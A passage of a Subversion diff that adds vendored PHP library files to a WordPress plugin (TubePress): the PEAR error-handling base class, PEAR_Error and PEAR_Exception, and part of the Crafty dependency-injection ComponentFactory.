+            $a = new $ec($code, $mode, $options, $userinfo);
+        } else {
+            $a = new $ec($message, $code, $mode, $options, $userinfo);
+        }
+        return $a;
+    }
+
+    // }}}
+    // {{{ throwError()
+
+    /**
+     * Simpler form of raiseError with fewer options.  In most cases
+     * message, code and userinfo are enough.
+     *
+     * @param string $message
+     *
+     */
+    function &throwError($message = null,
+                         $code = null,
+                         $userinfo = null)
+    {
+        if (isset($this) && is_a($this, 'net_php_pear_PEAR')) {
+            $a = &$this->raiseError($message, $code, null, null, $userinfo);
+            return $a;
+        } else {
+            $a = &net_php_pear_PEAR::raiseError($message, $code, null, null, $userinfo);
+            return $a;
+        }
+    }
+
+    // }}}
+    function staticPushErrorHandling($mode, $options = null)
+    {
+        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
+        $def_mode    = &$GLOBALS['_PEAR_default_error_mode'];
+        $def_options = &$GLOBALS['_PEAR_default_error_options'];
+        $stack[] = array($def_mode, $def_options);
+        switch ($mode) {
+            case PEAR_ERROR_EXCEPTION:
+            case PEAR_ERROR_RETURN:
+            case PEAR_ERROR_PRINT:
+            case PEAR_ERROR_TRIGGER:
+            case PEAR_ERROR_DIE:
+            case null:
+                $def_mode = $mode;
+                $def_options = $options;
+                break;
+
+            case PEAR_ERROR_CALLBACK:
+                $def_mode = $mode;
+                // class/object method callback
+                if (is_callable($options)) {
+                    $def_options = $options;
+                } else {
+                    trigger_error("invalid error callback", E_USER_WARNING);
+                }
+                break;
+
+            default:
+                trigger_error("invalid error mode", E_USER_WARNING);
+                break;
+        }
+        $stack[] = array($mode, $options);
+        return true;
+    }
+
+    function staticPopErrorHandling()
+    {
+        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
+        $setmode     = &$GLOBALS['_PEAR_default_error_mode'];
+        $setoptions  = &$GLOBALS['_PEAR_default_error_options'];
+        array_pop($stack);
+        list($mode, $options) = $stack[sizeof($stack) - 1];
+        array_pop($stack);
+        switch ($mode) {
+            case PEAR_ERROR_EXCEPTION:
+            case PEAR_ERROR_RETURN:
+            case PEAR_ERROR_PRINT:
+            case PEAR_ERROR_TRIGGER:
+            case PEAR_ERROR_DIE:
+            case null:
+                $setmode = $mode;
+                $setoptions = $options;
+                break;
+
+            case PEAR_ERROR_CALLBACK:
+                $setmode = $mode;
+                // class/object method callback
+                if (is_callable($options)) {
+                    $setoptions = $options;
+                } else {
+                    trigger_error("invalid error callback", E_USER_WARNING);
+                }
+                break;
+
+            default:
+                trigger_error("invalid error mode", E_USER_WARNING);
+                break;
+        }
+        return true;
+    }
+
+    // {{{ pushErrorHandling()
+
+    /**
+     * Push a new error handler on top of the error handler options stack. With this
+     * you can easily override the actual error handler for some code and restore
+     * it later with popErrorHandling.
+     *
+     * @param mixed $mode (same as setErrorHandling)
+     * @param mixed $options (same as setErrorHandling)
+     *
+     * @return bool Always true
+     *
+     * @see PEAR::setErrorHandling
+     */
+    function pushErrorHandling($mode, $options = null)
+    {
+        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
+        if (isset($this) && is_a($this, 'net_php_pear_PEAR')) {
+            $def_mode    = &$this->_default_error_mode;
+            $def_options = &$this->_default_error_options;
+        } else {
+            $def_mode    = &$GLOBALS['_PEAR_default_error_mode'];
+            $def_options = &$GLOBALS['_PEAR_default_error_options'];
+        }
+        $stack[] = array($def_mode, $def_options);
+
+        if (isset($this) && is_a($this, 'net_php_pear_PEAR')) {
+            $this->setErrorHandling($mode, $options);
+        } else {
+            net_php_pear_PEAR::setErrorHandling($mode, $options);
+        }
+        $stack[] = array($mode, $options);
+        return true;
+    }
+
+    // }}}
+    // {{{ popErrorHandling()
+
+    /**
+    * Pop the last error handler used
+    *
+    * @return bool Always true
+    *
+    * @see PEAR::pushErrorHandling
+    */
+    function popErrorHandling()
+    {
+        $stack = &$GLOBALS['_PEAR_error_handler_stack'];
+        array_pop($stack);
+        list($mode, $options) = $stack[sizeof($stack) - 1];
+        array_pop($stack);
+        if (isset($this) && is_a($this, 'net_php_pear_PEAR')) {
+            $this->setErrorHandling($mode, $options);
+        } else {
+            net_php_pear_PEAR::setErrorHandling($mode, $options);
+        }
+        return true;
+    }
+
+    // }}}
+    // {{{ loadExtension()
+
+    /**
+    * OS independant PHP extension load. Remember to take care
+    * on the correct extension name for case sensitive OSes.
+    *
+    * @param string $ext The extension name
+    * @return bool Success or not on the dl() call
+    */
+    function loadExtension($ext)
+    {
+        if (!extension_loaded($ext)) {
+            // if either returns true dl() will produce a FATAL error, stop that
+            if ((ini_get('enable_dl') != 1) || (ini_get('safe_mode') == 1)) {
+                return false;
+            }
+            if (OS_WINDOWS) {
+                $suffix = '.dll';
+            } elseif (PHP_OS == 'HP-UX') {
+                $suffix = '.sl';
+            } elseif (PHP_OS == 'AIX') {
+                $suffix = '.a';
+            } elseif (PHP_OS == 'OSX') {
+                $suffix = '.bundle';
+            } else {
+                $suffix = '.so';
+            }
+            return @dl('php_'.$ext.$suffix) || @dl($ext.$suffix);
+        }
+        return true;
+    }
+
+    // }}}
+}
+
+// {{{ _PEAR_call_destructors()
+
+if (!function_exists("_PEAR_call_destructors")) {
+
+function _PEAR_call_destructors()
+{
+    global $_PEAR_destructor_object_list;
+    if (is_array($_PEAR_destructor_object_list) &&
+        sizeof($_PEAR_destructor_object_list))
+    {
+        reset($_PEAR_destructor_object_list);
+        if (net_php_pear_PEAR::getStaticProperty('net_php_pear_PEAR', 'destructlifo')) {
+            $_PEAR_destructor_object_list = array_reverse($_PEAR_destructor_object_list);
+        }
+        while (list($k, $objref) = each($_PEAR_destructor_object_list)) {
+            $classname = get_class($objref);
+            while ($classname) {
+                $destructor = "_$classname";
+                if (method_exists($objref, $destructor)) {
+                    $objref->$destructor();
+                    break;
+                } else {
+                    $classname = get_parent_class($classname);
+                }
+            }
+        }
+        // Empty the object list to ensure that destructors are
+        // not called more than once.
+        $_PEAR_destructor_object_list = array();
+    }
+
+    // Now call the shutdown functions
+    if (is_array($GLOBALS['_PEAR_shutdown_funcs']) AND !empty($GLOBALS['_PEAR_shutdown_funcs'])) {
+        foreach ($GLOBALS['_PEAR_shutdown_funcs'] as $value) {
+            call_user_func_array($value[0], $value[1]);
+        }
+    }
+}
+
+}
+
+// }}}
+/**
+ * Standard PEAR error class for PHP 4
+ *
+ * This class is supserseded by {@link PEAR_Exception} in PHP 5
+ *
+ * @category   pear
+ * @package    PEAR
+ * @author     Stig Bakken <ssb@php.net>
+ * @author     Tomas V.V. Cox <cox@idecnet.com>
+ * @author     Gregory Beaver <cellog@php.net>
+ * @copyright  1997-2006 The PHP Group
+ * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
+ * @version    Release: 1.7.2
+ * @link       http://pear.php.net/manual/en/core.pear.pear-error.php
+ * @see        PEAR::raiseError(), PEAR::throwError()
+ * @since      Class available since PHP 4.0.2
+ */
+
+if (!class_exists("PEAR_Error")) {
+class PEAR_Error
+{
+    // {{{ properties
+
+    var $error_message_prefix = '';
+    var $mode                 = PEAR_ERROR_RETURN;
+    var $level                = E_USER_NOTICE;
+    var $code                 = -1;
+    var $message              = '';
+    var $userinfo             = '';
+    var $backtrace            = null;
+
+    // }}}
+    // {{{ constructor
+
+    /**
+     * PEAR_Error constructor
+     *
+     * @param string $message  message
+     *
+     * @param int $code     (optional) error code
+     *
+     * @param int $mode     (optional) error mode, one of: PEAR_ERROR_RETURN,
+     * PEAR_ERROR_PRINT, PEAR_ERROR_DIE, PEAR_ERROR_TRIGGER,
+     * PEAR_ERROR_CALLBACK or PEAR_ERROR_EXCEPTION
+     *
+     * @param mixed $options   (optional) error level, _OR_ in the case of
+     * PEAR_ERROR_CALLBACK, the callback function or object/method
+     * tuple.
+     *
+     * @param string $userinfo (optional) additional user/debug info
+     *
+     * @access public
+     *
+     */
+    function PEAR_Error($message = 'unknown error', $code = null,
+                        $mode = null, $options = null, $userinfo = null)
+    {
+        if ($mode === null) {
+            $mode = PEAR_ERROR_RETURN;
+        }
+        $this->message   = $message;
+        $this->code      = $code;
+        $this->mode      = $mode;
+        $this->userinfo  = $userinfo;
+        if (!net_php_pear_PEAR::getStaticProperty('PEAR_Error', 'skiptrace')) {
+            $this->backtrace = debug_backtrace();
+            if (isset($this->backtrace[0]) && isset($this->backtrace[0]['object'])) {
+                unset($this->backtrace[0]['object']);
+            }
+        }
+        if ($mode & PEAR_ERROR_CALLBACK) {
+            $this->level = E_USER_NOTICE;
+            $this->callback = $options;
+        } else {
+            if ($options === null) {
+                $options = E_USER_NOTICE;
+            }
+            $this->level = $options;
+            $this->callback = null;
+        }
+        if ($this->mode & PEAR_ERROR_PRINT) {
+            if (is_null($options) || is_int($options)) {
+                $format = "%s";
+            } else {
+                $format = $options;
+            }
+            printf($format, $this->getMessage());
+        }
+        if ($this->mode & PEAR_ERROR_TRIGGER) {
+            trigger_error($this->getMessage(), $this->level);
+        }
+        if ($this->mode & PEAR_ERROR_DIE) {
+            $msg = $this->getMessage();
+            if (is_null($options) || is_int($options)) {
+                $format = "%s";
+                if (substr($msg, -1) != "\n") {
+                    $msg .= "\n";
+                }
+            } else {
+                $format = $options;
+            }
+            die(sprintf($format, $msg));
+        }
+        if ($this->mode & PEAR_ERROR_CALLBACK) {
+            if (is_callable($this->callback)) {
+                call_user_func($this->callback, $this);
+            }
+        }
+        if ($this->mode & PEAR_ERROR_EXCEPTION) {
+            trigger_error("PEAR_ERROR_EXCEPTION is obsolete, use class PEAR_Exception for exceptions", E_USER_WARNING);
+            eval('$e = new Exception($this->message, $this->code);throw($e);');
+        }
+    }
+
+    // }}}
+    // {{{ getMode()
+
+    /**
+     * Get the error mode from an error object.
+     *
+     * @return int error mode
+     * @access public
+     */
+    function getMode() {
+        return $this->mode;
+    }
+
+    // }}}
+    // {{{ getCallback()
+
+    /**
+     * Get the callback function/method from an error object.
+     *
+     * @return mixed callback function or object/method array
+     * @access public
+     */
+    function getCallback() {
+        return $this->callback;
+    }
+
+    // }}}
+    // {{{ getMessage()
+
+
+    /**
+     * Get the error message from an error object.
+     *
+     * @return  string  full error message
+     * @access public
+     */
+    function getMessage()
+    {
+        return ($this->error_message_prefix . $this->message);
+    }
+
+
+    // }}}
+    // {{{ getCode()
+
+    /**
+     * Get error code from an error object
+     *
+     * @return int error code
+     * @access public
+     */
+     function getCode()
+     {
+        return $this->code;
+     }
+
+    // }}}
+    // {{{ getType()
+
+    /**
+     * Get the name of this error/exception.
+     *
+     * @return string error/exception name (type)
+     * @access public
+     */
+    function getType()
+    {
+        return get_class($this);
+    }
+
+    // }}}
+    // {{{ getUserInfo()
+
+    /**
+     * Get additional user-supplied information.
+     *
+     * @return string user-supplied information
+     * @access public
+     */
+    function getUserInfo()
+    {
+        return $this->userinfo;
+    }
+
+    // }}}
+    // {{{ getDebugInfo()
+
+    /**
+     * Get additional debug information supplied by the application.
+     *
+     * @return string debug information
+     * @access public
+     */
+    function getDebugInfo()
+    {
+        return $this->getUserInfo();
+    }
+
+    // }}}
+    // {{{ getBacktrace()
+
+    /**
+     * Get the call backtrace from where the error was generated.
+     * Supported with PHP 4.3.0 or newer.
+     *
+     * @param int $frame (optional) what frame to fetch
+     * @return array Backtrace, or NULL if not available.
+     * @access public
+     */
+    function getBacktrace($frame = null)
+    {
+        if (defined('PEAR_IGNORE_BACKTRACE')) {
+            return null;
+        }
+        if ($frame === null) {
+            return $this->backtrace;
+        }
+        return $this->backtrace[$frame];
+    }
+
+    // }}}
+    // {{{ addUserInfo()
+
+    function addUserInfo($info)
+    {
+        if (empty($this->userinfo)) {
+            $this->userinfo = $info;
+        } else {
+            $this->userinfo .= " ** $info";
+        }
+    }
+
+    // }}}
+    // {{{ toString()
+    function __toString()
+    {
+        return $this->getMessage();
+    }
+    // }}}
+    // {{{ toString()
+
+    /**
+     * Make a string representation of this object.
+     *
+     * @return string a string with an object summary
+     * @access public
+     */
+    function toString() {
+        $modes = array();
+        $levels = array(E_USER_NOTICE  => 'notice',
+                        E_USER_WARNING => 'warning',
+                        E_USER_ERROR   => 'error');
+        if ($this->mode & PEAR_ERROR_CALLBACK) {
+            if (is_array($this->callback)) {
+                $callback = (is_object($this->callback[0]) ?
+                    strtolower(get_class($this->callback[0])) :
+                    $this->callback[0]) . '::' .
+                    $this->callback[1];
+            } else {
+                $callback = $this->callback;
+            }
+            return sprintf('[%s: message="%s" code=%d mode=callback '.
+                           'callback=%s prefix="%s" info="%s"]',
+                           strtolower(get_class($this)), $this->message, $this->code,
+                           $callback, $this->error_message_prefix,
+                           $this->userinfo);
+        }
+        if ($this->mode & PEAR_ERROR_PRINT) {
+            $modes[] = 'print';
+        }
+        if ($this->mode & PEAR_ERROR_TRIGGER) {
+            $modes[] = 'trigger';
+        }
+        if ($this->mode & PEAR_ERROR_DIE) {
+            $modes[] = 'die';
+        }
+        if ($this->mode & PEAR_ERROR_RETURN) {
+            $modes[] = 'return';
+        }
+        return sprintf('[%s: message="%s" code=%d mode=%s level=%s '.
+                       'prefix="%s" info="%s"]',
+                       strtolower(get_class($this)), $this->message, $this->code,
+                       implode("|", $modes), $levels[$this->level],
+                       $this->error_message_prefix,
+                       $this->userinfo);
+    }
+
+    // }}}
+}
+}
+
+/*
+ * Local Variables:
+ * mode: php
+ * tab-width: 4
+ * c-basic-offset: 4
+ * End:
+ */
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/PEAR/Exception.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/PEAR/Exception.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/php/pear/PEAR/Exception.class.php	(revision 44)
@@ -0,0 +1,397 @@
+<?php
+/* vim: set expandtab tabstop=4 shiftwidth=4 foldmethod=marker: */
+/**
+ * net_php_pear_PEAR_Exception
+ *
+ * PHP versions 4 and 5
+ *
+ * LICENSE: This source file is subject to version 3.0 of the PHP license
+ * that is available through the world-wide-web at the following URI:
+ * http://www.php.net/license/3_0.txt.  If you did not receive a copy of
+ * the PHP License and are unable to obtain it through the web, please
+ * send a note to license@php.net so we can mail you a copy immediately.
+ *
+ * @category   pear
+ * @package    PEAR
+ * @author     Tomas V. V. Cox <cox@idecnet.com>
+ * @author     Hans Lellelid <hans@velum.net>
+ * @author     Bertrand Mansion <bmansion@mamasam.com>
+ * @author     Greg Beaver <cellog@php.net>
+ * @copyright  1997-2008 The PHP Group
+ * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
+ * @version    CVS: $Id: Exception.php,v 1.29 2008/01/03 20:26:35 cellog Exp $
+ * @link       http://pear.php.net/package/PEAR
+ * @since      File available since Release 1.3.3
+ */
+
+
+/**
+ * Base PEAR_Exception Class
+ *
+ * 1) Features:
+ *
+ * - Nestable exceptions (throw new PEAR_Exception($msg, $prev_exception))
+ * - Definable triggers, shot when exceptions occur
+ * - Pretty and informative error messages
+ * - Added more context info available (like class, method or cause)
+ * - cause can be a PEAR_Exception or an array of mixed
+ *   PEAR_Exceptions/PEAR_ErrorStack warnings
+ * - callbacks for specific exception classes and their children
+ *
+ * 2) Ideas:
+ *
+ * - Maybe a way to define a 'template' for the output
+ *
+ * 3) Inherited properties from PHP Exception Class:
+ *
+ * protected $message
+ * protected $code
+ * protected $line
+ * protected $file
+ * private   $trace
+ *
+ * 4) Inherited methods from PHP Exception Class:
+ *
+ * __clone
+ * __construct
+ * getMessage
+ * getCode
+ * getFile
+ * getLine
+ * getTraceSafe
+ * getTraceSafeAsString
+ * __toString
+ *
+ * 5) Usage example
+ *
+ * <code>
+ *  require_once 'PEAR/Exception.php';
+ *
+ *  class Test {
+ *     function foo() {
+ *         throw new PEAR_Exception('Error Message', ERROR_CODE);
+ *     }
+ *  }
+ *
+ *  function myLogger($pear_exception) {
+ *     echo $pear_exception->getMessage();
+ *  }
+ *  // each time a exception is thrown the 'myLogger' will be called
+ *  // (its use is completely optional)
+ *  PEAR_Exception::addObserver('myLogger');
+ *  $test = new Test;
+ *  try {
+ *     $test->foo();
+ *  } catch (PEAR_Exception $e) {
+ *     print $e;
+ *  }
+ * </code>
+ *
+ * @category   pear
+ * @package    PEAR
+ * @author     Tomas V.V.Cox <cox@idecnet.com>
+ * @author     Hans Lellelid <hans@velum.net>
+ * @author     Bertrand Mansion <bmansion@mamasam.com>
+ * @author     Greg Beaver <cellog@php.net>
+ * @copyright  1997-2008 The PHP Group
+ * @license    http://www.php.net/license/3_0.txt  PHP License 3.0
+ * @version    Release: 1.7.2
+ * @link       http://pear.php.net/package/PEAR
+ * @since      Class available since Release 1.3.3
+ *
+ */
+class net_php_pear_PEAR_Exception extends Exception
+{
+    const OBSERVER_PRINT = -2;
+    const OBSERVER_TRIGGER = -4;
+    const OBSERVER_DIE = -8;
+    protected $cause;
+    private static $_observers = array();
+    private static $_uniqueid = 0;
+    private $_trace;
+
+    /**
+     * Supported signatures:
+     *  - PEAR_Exception(string $message);
+     *  - PEAR_Exception(string $message, int $code);
+     *  - PEAR_Exception(string $message, Exception $cause);
+     *  - PEAR_Exception(string $message, Exception $cause, int $code);
+     *  - PEAR_Exception(string $message, PEAR_Error $cause);
+     *  - PEAR_Exception(string $message, PEAR_Error $cause, int $code);
+     *  - PEAR_Exception(string $message, array $causes);
+     *  - PEAR_Exception(string $message, array $causes, int $code);
+     * @param string exception message
+     * @param int|Exception|PEAR_Error|array|null exception cause
+     * @param int|null exception code or null
+     */
+    public function __construct($message, $p2 = null, $p3 = null)
+    {
+        if (is_int($p2)) {
+            $code = $p2;
+            $this->cause = null;
+        } elseif (is_object($p2) || is_array($p2)) {
+            // using is_object allows both Exception and PEAR_Error
+            if (is_object($p2) && !($p2 instanceof Exception)) {
+                if (!class_exists('PEAR_Error') || !($p2 instanceof PEAR_Error)) {
+                    throw new net_php_pear_PEAR_Exception('exception cause must be Exception, ' .
+                        'array, or PEAR_Error');
+                }
+            }
+            $code = $p3;
+            if (is_array($p2) && isset($p2['message'])) {
+                // fix potential problem of passing in a single warning
+                $p2 = array($p2);
+            }
+            $this->cause = $p2;
+        } else {
+            $code = null;
+            $this->cause = null;
+        }
+        parent::__construct($message, $code);
+        $this->signal();
+    }
+
+    /**
+     * @param mixed $callback  - A valid php callback, see php func is_callable()
+     *                         - A PEAR_Exception::OBSERVER_* constant
+     *                         - An array(const PEAR_Exception::OBSERVER_*,
+     *                           mixed $options)
+     * @param string $label    The name of the observer. Use this if you want
+     *                         to remove it later with removeObserver()
+     */
+    public static function addObserver($callback, $label = 'default')
+    {
+        self::$_observers[$label] = $callback;
+    }
+
+    public static function removeObserver($label = 'default')
+    {
+        unset(self::$_observers[$label]);
+    }
+
+    /**
+     * @return int unique identifier for an observer
+     */
+    public static function getUniqueId()
+    {
+        return self::$_uniqueid++;
+    }
+
+    private function signal()
+    {
+        foreach (self::$_observers as $func) {
+            if (is_callable($func)) {
+                call_user_func($func, $this);
+                continue;
+            }
+            settype($func, 'array');
+            switch ($func[0]) {
+                case self::OBSERVER_PRINT :
+                    $f = (isset($func[1])) ? $func[1] : '%s';
+                    printf($f, $this->getMessage());
+                    break;
+                case self::OBSERVER_TRIGGER :
+                    $f = (isset($func[1])) ? $func[1] : E_USER_NOTICE;
+                    trigger_error($this->getMessage(), $f);
+                    break;
+                case self::OBSERVER_DIE :
+                    $f = (isset($func[1])) ? $func[1] : '%s';
+                    die(printf($f, $this->getMessage()));
+                    break;
+                default:
+                    trigger_error('invalid observer type', E_USER_WARNING);
+            }
+        }
+    }
+
+    /**
+     * Return specific error information that can be used for more detailed
+     * error messages or translation.
+     *
+     * This method may be overridden in child exception classes in order
+     * to add functionality not present in PEAR_Exception and is a placeholder
+     * to define API
+     *
+     * The returned array must be an associative array of parameter => value like so:
+     * <pre>
+     * array('name' => $name, 'context' => array(...))
+     * </pre>
+     * @return array
+     */
+    public function getErrorData()
+    {
+        return array();
+    }
+
+    /**
+     * Returns the exception that caused this exception to be thrown
+     * @access public
+     * @return Exception|array The context of the exception
+     */
+    public function getCause()
+    {
+        return $this->cause;
+    }
+
+    /**
+     * Function must be public to call on caused exceptions
+     * @param array
+     */
+    public function getCauseMessage(&$causes)
+    {
+        $trace = $this->getTraceSafe();
+        $cause = array('class'   => get_class($this),
+                       'message' => $this->message,
+                       'file' => 'unknown',
+                       'line' => 'unknown');
+        if (isset($trace[0])) {
+            if (isset($trace[0]['file'])) {
+                $cause['file'] = $trace[0]['file'];
+                $cause['line'] = $trace[0]['line'];
+            }
+        }
+        $causes[] = $cause;
+        if ($this->cause instanceof net_php_pear_PEAR_Exception) {
+            $this->cause->getCauseMessage($causes);
+        } elseif ($this->cause instanceof Exception) {
+            $causes[] = array('class'   => get_class($this->cause),
+                              'message' => $this->cause->getMessage(),
+                              'file' => $this->cause->getFile(),
+                              'line' => $this->cause->getLine());
+        } elseif (class_exists('PEAR_Error') && $this->cause instanceof PEAR_Error) {
+            $causes[] = array('class' => get_class($this->cause),
+                              'message' => $this->cause->getMessage(),
+                              'file' => 'unknown',
+                              'line' => 'unknown');
+        } elseif (is_array($this->cause)) {
+            foreach ($this->cause as $cause) {
+                if ($cause instanceof net_php_pear_PEAR_Exception) {
+                    $cause->getCauseMessage($causes);
+                } elseif ($cause instanceof Exception) {
+                    $causes[] = array('class'   => get_class($cause),
+                                   'message' => $cause->getMessage(),
+                                   'file' => $cause->getFile(),
+                                   'line' => $cause->getLine());
+                } elseif (class_exists('PEAR_Error') && $cause instanceof PEAR_Error) {
+                    $causes[] = array('class' => get_class($cause),
+                                      'message' => $cause->getMessage(),
+                                      'file' => 'unknown',
+                                      'line' => 'unknown');
+                } elseif (is_array($cause) && isset($cause['message'])) {
+                    // PEAR_ErrorStack warning
+                    $causes[] = array(
+                        'class' => $cause['package'],
+                        'message' => $cause['message'],
+                        'file' => isset($cause['context']['file']) ?
+                                            $cause['context']['file'] :
+                                            'unknown',
+                        'line' => isset($cause['context']['line']) ?
+                                            $cause['context']['line'] :
+                                            'unknown',
+                    );
+                }
+            }
+        }
+    }
+
+    public function getTraceSafe()
+    {   
+        if (!isset($this->_trace)) {
+            $this->_trace = $this->getTrace();
+            if (empty($this->_trace)) {
+                $backtrace = debug_backtrace();
+                $this->_trace = array($backtrace[count($backtrace)-1]);
+            }
+        }
+        return $this->_trace;
+    }
+
+    public function getErrorClass()
+    {
+        $trace = $this->getTraceSafe();
+        return $trace[0]['class'];
+    }
+
+    public function getErrorMethod()
+    {
+        $trace = $this->getTraceSafe();
+        return $trace[0]['function'];
+    }
+
+    public function __toString()
+    {
+        if (isset($_SERVER['REQUEST_URI'])) {
+            return $this->toHtml();
+        }
+        return $this->toText();
+    }
+
+    public function toHtml()
+    {
+        $trace = $this->getTraceSafe();
+        $causes = array();
+        $this->getCauseMessage($causes);
+        $html =  '<table border="1" cellspacing="0">' . "\n";
+        foreach ($causes as $i => $cause) {
+            $html .= '<tr><td colspan="3" bgcolor="#ff9999">'
+               . str_repeat('-', $i) . ' <b>' . $cause['class'] . '</b>: '
+               . htmlspecialchars($cause['message']) . ' in <b>' . $cause['file'] . '</b> '
+               . 'on line <b>' . $cause['line'] . '</b>'
+               . "</td></tr>\n";
+        }
+        $html .= '<tr><td colspan="3" bgcolor="#aaaaaa" align="center"><b>Exception trace</b></td></tr>' . "\n"
+               . '<tr><td align="center" bgcolor="#cccccc" width="20"><b>#</b></td>'
+               . '<td align="center" bgcolor="#cccccc"><b>Function</b></td>'
+               . '<td align="center" bgcolor="#cccccc"><b>Location</b></td></tr>' . "\n";
+
+        foreach ($trace as $k => $v) {
+            $html .= '<tr><td align="center">' . $k . '</td>'
+                   . '<td>';
+            if (!empty($v['class'])) {
+                $html .= $v['class'] . $v['type'];
+            }
+            $html .= $v['function'];
+            $args = array();
+            if (!empty($v['args'])) {
+                foreach ($v['args'] as $arg) {
+                    if (is_null($arg)) $args[] = 'null';
+                    elseif (is_array($arg)) $args[] = 'Array';
+                    elseif (is_object($arg)) $args[] = 'Object('.get_class($arg).')';
+                    elseif (is_bool($arg)) $args[] = $arg ? 'true' : 'false';
+                    elseif (is_int($arg) || is_double($arg)) $args[] = $arg;
+                    else {
+                        $arg = (string)$arg;
+                        $str = htmlspecialchars(substr($arg, 0, 16));
+                        if (strlen($arg) > 16) $str .= '&hellip;';
+                        $args[] = "'" . $str . "'";
+                    }
+                }
+            }
+            $html .= '(' . implode(', ',$args) . ')'
+                   . '</td>'
+                   . '<td>' . (isset($v['file']) ? $v['file'] : 'unknown')
+                   . ':' . (isset($v['line']) ? $v['line'] : 'unknown')
+                   . '</td></tr>' . "\n";
+        }
+        $html .= '<tr><td align="center">' . ($k+1) . '</td>'
+               . '<td>{main}</td>'
+               . '<td>&nbsp;</td></tr>' . "\n"
+               . '</table>';
+        return $html;
+    }
+
+    public function toText()
+    {
+        $causes = array();
+        $this->getCauseMessage($causes);
+        $causeMsg = '';
+        foreach ($causes as $i => $cause) {
+            $causeMsg .= str_repeat(' ', $i) . $cause['class'] . ': '
+                   . $cause['message'] . ' in ' . $cause['file']
+                   . ' on line ' . $cause['line'] . "\n";
+        }
+        return $causeMsg . $this->getTraceAsString();
+    }
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentFactory.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentFactory.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/tubepress/classes/net/sourceforge/phpcrafty/ComponentFactory.class.php	(revision 44)
@@ -0,0 +1,205 @@
+<?php
+
+function_exists('tubepress_load_classes')
+    || require(dirname(__FILE__) . '/../../../tubepress_classloader.php');
+tubepress_load_classes(array('net_sourceforge_phpcrafty_ComponentSpec',
+    'net_sourceforge_phpcrafty_ComponentReference',
+    'net_sourceforge_phpcrafty_ComponentReflector',
+    ));
+
+/**
+ * A factory class for the dependency injection container.
+ * Reads from specifications for components and creates configured instances
+ * based upon them.
+ * @author Chris Corbyn
+ * @package Crafty
+ */
+class net_sourceforge_phpcrafty_ComponentFactory
+{
+  
+  /**
+   * ComponentSpec collection.
+   * @var net_sourceforge_phpcrafty_ComponentSpec[]
+   */
+  private $_specs = array();
+  
+  /**
+   * Shared component instances
+   * @var mixed[]
+   */
+  private $_sharedInstances = array();
+  
+  /**
+   * Creates a new instance of the ComponentSpec class.
+   * @return net_sourceforge_phpcrafty_ComponentSpec
+   */
+  public function newComponentSpec($className = null, $constructorArgs = array(),
+    $properties = array(), $shared = false)
+  {
+    return new net_sourceforge_phpcrafty_ComponentSpec($className, $constructorArgs, $properties,
+      $shared);
+  }
+  
+  /**
+   * Creates a new ComponentReference for the given $componentName.
+   * @param string $componentName
+   * @return net_sourceforge_phpcrafty_ComponentReference
+   */
+  public function referenceFor($componentName)
+  {
+    return new net_sourceforge_phpcrafty_ComponentReference($componentName);
+  }
+  
+  /**
+   * Create a new ComponentReflector for the given class with the given
+   * properties.
+   * @param string $className
+   * @param mixed[] $properties
+   * @return net_sourceforge_phpcrafty_ComponentReflector
+   * @access private
+   */
+  private function _newComponentReflector($className, $properties)
+  {
+    return new net_sourceforge_phpcrafty_ComponentReflector($className, $properties);
+  }
+  
+  /**
+   * Sets the specification for the given $componentName.
+   * @param string $componentName
+   * @param net_sourceforge_phpcrafty_ComponentSpec The specification for $componentName
+   */
+  public function setComponentSpec($componentName, net_sourceforge_phpcrafty_ComponentSpec $spec)
+  {
+    $this->_specs[$componentName] = $spec;
+  }
+  
+  /**
+   * Gets the specification for the given $componentName.
+   * @param string $componentName
+   * @return net_sourceforge_phpcrafty_ComponentSpec
+   * @throws net_sourceforge_phpcrafty_ComponenyFactoryException If spec is not found
+   */
+  public function getComponentSpec($componentName)
+  { 
+    return $this->_specs[$componentName];
+  }
+  
+
+  /**
+   * Test if the given parameter is a dependency to be resolved.
+   * @param mixed $input
+   * @return boolean
+   * @access private
+   */
+  private function _isDependency($input)
+  {
+    return ($input instanceof net_sourceforge_phpcrafty_ComponentReference);
+  }
+  
+  /**
+   * Resolve all dependencies from ComponentReference objects into their
+   * appropriate instances.
+   * @param mixed $input
+   * @return mixed
+   * @access private
+   */
+  private function _resolveDependencies($input)
+  {
+    if (is_array($input))
+    {
+      $ret = array();
+      foreach ($input as $value)
+      {
+        $ret[] = $this->_resolveDependencies($value);
+      }
+      return $ret;
+    }
+    else
+    {
+      if ($this->_isDependency($input))
+      {
+        $componentName = $input->getComponentName();
+        return $this->create($componentName);
+      }
+      else
+      {
+        return $input;
+      }
+    }
+  }
+  
+  /**
+   * Get a ReflectionClass decorated to provide setter-based injection
+   * components during instantiation.
+   * @param string $componentName
+   * @return net_sourceforge_phpcrafty_ComponentReflector
+   */
+  public function classOf($componentName)
+  {
+    $spec = $this->getComponentSpec($componentName);
+    
+    $className = $spec->getClassName();
+    
+
+    //Apply properties
+    $properties = array();
+    
+    foreach ($spec->getProperties() as $key => $value)
+    {
+      $properties[$key] = $this->_resolveDependencies($value);
+    }
+    
+    $class = $this->_newComponentReflector($className, $properties);
+    
+    return $class;
+  }
+  
+  /**
+   * Create an instance of the given component.
+   * @param string $componentName
+   * @param mixed[] $constructorArgs, optional
+   * @return object
+   */
+  public function create($componentName, $constructorArgs = null)
+  {
+    $spec = $this->getComponentSpec($componentName);
+    
+    //If shared instances are used, try to return a registered instance
+    // if not, reference it now
+    if ($spec->isShared())
+    {
+      if (isset($this->_sharedInstances[$componentName]))
+      {
+        return $this->_sharedInstances[$componentName];
+      }
+      else
+      {
+        $o = null;
+        $this->_sharedInstances[$componentName] =& $o;
+      }
+    }
+    
+    //Get the Reflector
+    $class = $this->classOf($componentName);
+    
+    //Determine constructor params
